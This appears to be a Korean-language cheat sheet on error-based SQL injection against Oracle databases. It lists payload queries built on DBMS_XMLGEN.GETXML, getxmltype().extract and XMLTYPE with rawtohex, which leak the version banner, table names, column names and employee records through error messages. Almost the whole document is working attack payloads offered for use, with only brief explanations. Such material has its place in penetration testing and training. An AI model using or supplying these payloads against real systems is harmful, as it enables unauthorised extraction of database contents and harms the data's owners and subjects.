Oracle Error SQLi 단일 열 (XML 내장함수, rawtohex(), rownum, to_char(), substr())

Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다.

Oracle에서는 칼럼 객체명에 화이트 스페이스 포함 30자로 길이제한이 존재한다.

 

XML 내장함수

DBMS_XMLGEN.GETXML()

 

> select substr((select banner from v$version where rownum=1), 1,30) from dual
= select "Oracle Database 11g Express ED" from dual

 

에러를 발생시켜 버전을 출력하는 쿼리

> select to_char(dbms_xmlgen.getxml('select "' || substr(select banner from v$version where rownum=1),1,30) || '" from dual')) from dual

 

[테이블 정보]

> select to_char(dbms_xmlgen.getxml('select "' || substr((select table_name from (select rownum as rowidx, table_name from tabs)t where t.rowidx=1),1,30) || '" from dual')) from dual

 

[칼럼 정보]

> select to_char(dbms_xmlgen.getxml('select "' || substr((select column_name from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1),1,30) || '" from dual')) from dual

 

2개 이상의 데이터를 추출할 시엔 ||을 이용한다.

[데이터 정보]

> select to_char(dbms_xmlgen.getxml('select "' || substr((select employee_id||','||first_name from(select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1),1,30) || '" from dual')) from dual

 

dbms_xmlgen.getxmltype().Extract

MySQL과 유사한 기능으로 XPATH 구문에서 항상 에러가 발생하도록 "." 표현식을 맨 앞에 첫 번째 위치에 삽입한다.

> select dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select banner from v$version where rownum=1)) from dual

 

[테이블 정보]

> select dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select table_name from(select rownum as rowidx, table_name from tabs)t where t.rowidx=1)) from dual

 

[칼럼 정보]

> select dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select column_name from(select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1)) from dual

 

[데이터 정보]

> select dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select employee_id||','||first_name from(select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1)) from dual

 

XMLTYPE

에러를 발생시켜 DB의 정보를 출력해보면 hex 값으로 출력이 이루어진다. 이때 rawtohex 함수를 제외하고 쿼리 구문을 실행하면 추출이 되어지지 않는다.

> select rawtohex(xmltype((select '<start_'|| rawtohex(banner)||'_end:root>' from v$version where rownum=1))) from dual

 

[테이블 정보]

> select rawtohex(xmltype((select '<start_'|| rawtohex(table_name)||'_end:root>' from (select rownum as rowidx, table_name from tabs)t where t.rowidx=1))) from dual

 

[칼럼 정보]

> select rawtohex(xmltype((select '<start_'|| rawtohex(column_name)||'_end:root>' from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1))) from dual

 

[데이터 정보]

> select rawtohex(xmltype((select '<start_'|| rawtohex(employee_id||','||first_name)||'_end:root>' from(select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1))) from dual